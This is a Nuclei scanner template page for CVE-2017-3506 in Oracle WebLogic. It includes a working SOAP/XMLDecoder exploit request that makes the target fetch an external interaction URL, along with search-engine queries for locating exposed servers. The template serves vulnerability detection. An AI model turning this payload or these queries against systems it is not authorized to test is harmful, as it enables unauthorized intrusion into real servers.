Skip to content
Nuclei Templates

Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution

ID: CVE-2017-3506

Severity: high

Author: pdteam

Tags: cve,cve2017,rce,oast,hackerone,weblogic,oracle

Description

Section titled “Description”

The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.

YAML Source

Section titled “YAML Source”
id: CVE-2017-3506


info:
  name: Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution
  author: pdteam
  severity: high
  description: The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to fix this vulnerability.
  reference:
    - https://hackerone.com/reports/810778
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3506
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
    - http://www.securitytracker.com/id/1038296
    - https://github.com/CVEDB/top
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.4
    cve-id: CVE-2017-3506
    epss-score: 0.96935
    epss-percentile: 0.99702
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve,cve2017,rce,oast,hackerone,weblogic,oracle


http:
  - raw:
      - |
        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
        Content-Type: text/xml;charset=UTF-8


        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
              <java version="1.8" class="java.beans.XMLDecoder">
                <void id="url" class="java.net.URL">
                  <string>http://{{interactsh-url}}</string>
                </void>
                <void idref="url">
                  <void id="stream" method ="openStream"/>
                </void>
              </java>
            </work:WorkContext>
            </soapenv:Header>
          <soapenv:Body/>
        </soapenv:Envelope>


    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 490a004630440220772f4c66e06f1a22f80531bbe6a6e28e43e9ef766ad876f7cc9fbce7c14cfdbb02204dc6b6201018cee8b2733b68f22c7d6a2c799da71e0458d7e2ba70de5fbfba90:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-3506.yaml"

View on Github